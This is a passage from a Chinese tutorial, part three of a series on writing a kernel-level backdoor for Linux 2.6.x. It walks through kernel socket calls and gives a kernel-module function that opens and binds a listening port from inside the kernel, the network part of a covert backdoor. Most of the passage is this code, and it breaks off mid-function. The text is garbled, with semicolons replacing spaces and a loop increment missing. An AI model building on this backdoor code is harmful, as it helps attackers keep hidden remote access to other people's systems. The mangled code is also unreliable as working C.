抒写Linux 2.6.x下内核级后门程序( 三 )


if;(retval;<;0)
goto;out;

retval;=;sock_map_fd(sock);
if;(retval;<;0)
goto;out_release;

out:

return;retval;

out_release:
sock_release(sock);
return;retval;
}

关键就2个函数 , sock_create()来初始化一个struct;socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符 。;有兴趣的读者可以继续深入这些函数 , 看看它的具体实现细节 。在这里我们只关心最上层的这2个函数 。因为我们要在自己的模块中调用它们 。同样对于;sys_bind,;sys_listen等 , 我们用同样的办法来处理 。有了源代码 , 看它们怎么实现 , 我们就怎么实现 。

下面给出一个监听某端口的例子:

int;k_listen(void)
{
struct;socket;*sock,*newsock;
struct;sockaddr_in;server;
struct;sockaddr;client[128];
char;address[128];
int;sockfd,;sockid,;i,size;=;0;
int;error;=;0,len;=;sizeof(struct;sockaddr);

//set_fs(KERNEL_DS);

error;=;sock_create(AF_INET,SOCK_STREAM,0,&sock);
if;(error;<;0);{
printk("[-];socket_create;failed:;%d/n",error);
sock_release(sock);
return;-1;
}

sockfd;=;sock_map_fd(sock);
if;(sockfd;<;0);{
printk("[-];sock_map_fd();failed./n");
sock_release(sock);
return;-1;
}

for;(i;=;0;;i;<;8;;i)
server.sin_zero[i];=;0;

server.sin_family;=;PF_INET;
server.sin_addr.s_addr;=;INADDR_ANY;
server.sin_port;=;htons(port);

error;=;security_socket_bind(sock,(struct;sockaddr;*)&server,len);
if;(!error);{
error;=;sock->ops->bind(sock,(struct;sockaddr;*)&server,len);

if;(error;<;0);{
printk("[-];unix_bind();failed./n");
sock_release(sock);
return;-1;
}

推荐阅读